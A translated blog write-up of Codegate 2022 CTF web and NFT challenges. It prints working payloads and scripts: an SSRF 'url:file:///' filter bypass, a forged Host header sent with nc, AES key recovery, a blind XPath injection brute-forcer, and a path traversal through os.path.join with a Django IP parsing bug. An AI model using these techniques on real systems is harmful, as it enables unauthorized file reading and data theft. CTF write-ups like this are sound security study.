Arang.dev
Search
Codegate CTF 2022šŸ CTF🌐 Translated

Codegate 2022 Web/Blockchain Writeup

Codegate 2022 Quals: Walkthrough of all Web challenges and the Blockchain (NFT) challenge.

#codegate#ssrf#xpath-injection#aes#blockchain

This post was machine-translated from Korean by AI. Some expressions may differ from the original.

Read the original (Korean)

Since I didn't make it to the finals, I'll write this briefly...

I solved the Web part too quickly, so I focused on Blockchain. However, I personally don't know much about Blockchain, so I felt quite regretful sob...

The nft challenge was helped by my teammate epist (thx thx).


[Baby First]

Summary

Leaking a local file by bypassing regex checks via ssrf

Since it had 'baby' in the name, I looked at it first, and ended up getting the first solve ;;;.

image

Looking briefly at the code, in the lookupImg function within the class file, it takes the content inside the square brackets [] from memo as a URL, parses the image, and inserts it into an img tag.

pattern = Pattern.compile("^[a-z]+:");
 matcher = pattern.matcher(tmp);
 if (!matcher.find() || matcher.group().startsWith("file"))
 return "";

It uses java.net.URL for this, but before that, it checks if it starts with the file: protocol using the startsWith function.

If we audit java.net.URL, we see:

https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575

GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDKMirror of the jdk/jdk11 Mercurial forest at OpenJDK - GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDKgithub.com

image

As seen above, if it starts with url:, you can see that start (input argument, url) is incremented by 4 (+= 4).

It is solved by setting memo=[url:file:///flag].

image


[ CAFE ]

Summary: The admin password exists in the xss bot (unintended); exploiting a parse_url bug (?) (intended)

case 'iframe':
 $src = $element->src;
 $host = parse_url($src)['host'];
 if (strpos($host, 'youtube.com') !== false){
 $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
 }
 break;

It checks the host using parse_url($src)['host'], but this is easily bypassable.

Regarding this, Orange's documentation is really good.

I'm too lazy to find it, so I won't post the link separately.

# xss bot python code
 
driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()

Anyway, it was originally that kind of problem, but the password was contained within the xss bot.

I solved Web quickly, looked at Blockchain, became completely jobless (finished), and wanted to look at the intended solution again, but I couldn't solve one Blockchain problem and the contest ended before I could see it. Roughly, javascript://youtube.com/[newline][code] should probably work.


​

[ superbee ]

Summary: admin/password (unintended); AES uninitialized key + padding it, iv from key decrypt

image

Honestly, during the contest, I couldn't shake the question of why this problem was solved so much that it dropped to 100 points.

Ah, but after the contest ended, I heard the account was admin/password.

Ugh...;

ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost
 
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8
 
00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607

First, it takes auth_key or auth_secret_key? Anyway, it takes that, performs AES CBC Encrypt, and displays it on the admin page.

It checks for host localhost, but I just connected directly via nc and changed the host, and it dropped right out.

func (this *AdminController) AuthKey() {
 encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
 this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

Looking roughly at the code, the auth_crypt_key used for encryption above is declared but never initialized with a value.

func AesEncrypt(origData, key []byte) ([]byte, error) {
 padded_key := Padding(key, 16)
 block, err := aes.NewCipher(padded_key)
 if err != nil {
 return nil, err
 }
 blockSize := block.BlockSize()
 origData = Padding(origData, blockSize)
 blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
 crypted := make([]byte, len(origData))
 blockMode.CryptBlocks(crypted, origData)
 return crypted, nil
}

Then it pads it to the key size, and the result is \x10*16.

The iv is also used by cutting the blocksize from the key value created by the padding above, so we know both the key and the iv.

arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

Furiously decrypted.

image

Got the flag.


​

[ myblog ]

Summary: Leaking the environ variable set in catalina.properties via blind xpath injection

Now, whenever a jsp problem comes up, I've developed a habit of auditing Tomcat and JDK first.

Seeing the flag set in catalina.properties, I thought functions like System.getProperty might be used internally when using xpath, so I used Ctrl+Shift+F in our God-Sublime Text to search for getProperty and checked references.

While doing so, I saw something used in SecuritySupport.java, kept it in mind, and then...

image

I figured it would be solved using xpath functions, so I looked there and found a very nice-looking guy called system-property.

  1. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/Keywords.java#L301
  2. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/FunctionTable.java#L224
  3. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java#L101
  4. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/jdk/xml/internal/SecuritySupport.java#L87

You can see it being called in the flow above roughly.

image

Local test bingo.

http://3.39.79.180/blog/read?idx=%27%20or%20@idx=string-length(string-length(system-property(%27flag%27))=46=%27true%27)-4%20and%20@idx=%271

I roughly constructed a blind xpath injeciton query to check the length, and...

from arang import *
 
s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
 for c in "0123456789abcdef}":
 url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
 r = s.get(url)
 if 'asdf' not in r.content.decode():
 flag += c
 print(f"[{len(flag)}/46] flag - {flag}")
 break

do exploit

image

get flag


​

[ nft ]

Summary: It's blockchain but a webchall; exploits a 1day and a python trick

modifier contains (string memory what, string memory where) {
 bytes memory whatBytes = bytes (what);
 bytes memory whereBytes = bytes (where);
 
 require(whereBytes.length >= whatBytes.length);
 
 bool found = false;
 for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
 bool flag = true;
 for (uint j = 0; j < whatBytes.length; j++)
 if (whereBytes [i + j] != whatBytes [j]) {
 flag = false;
 break;
 }
 if (flag) {
 found = true;
 break;
 }
 }
 require (!found);
 
 _;
 }

The contains function is a bit sloppy.

[From requirements.txt]

Django==3.2.1

?

https://packetstormsecurity.com/files/cve/CVE-2021-33571

CVE-2021-33571 ā‰ˆ Packet StormRed Hat Security Advisory 2021-4702-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addrepacketstormsecurity.com

Good.

>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')

Now, if we provide 127.00.0.1, we can bypass contains.

>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'
nft_file = uri.split(nft_path + '/')[-1]
 if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
 path = os.path.join(os.getcwd(), nft_path, nft_file)
 
 with open(path, 'rb') as f:
 return f.read()

There is a trick where if you provide an absolute path as the third argument when using os.path.join, it changes to that absolute path.

If we combine this with that...

127.00.0.1/acount/storages//home/ctf/flag.txt

If we provide it like this, /home/ctf/flag.txt goes into the path in with open(path, 'rb') as f, and we can read the flag.

I found the vulnerability, but since I'm a blockchain noob, I couldn't do the actual exploit, so my teammate epist exploited it for me (thx thx).

Comments

Loading comments...
Codegate 2022 Web/Blockchain Writeup | Codegate CTF 2022 | Arang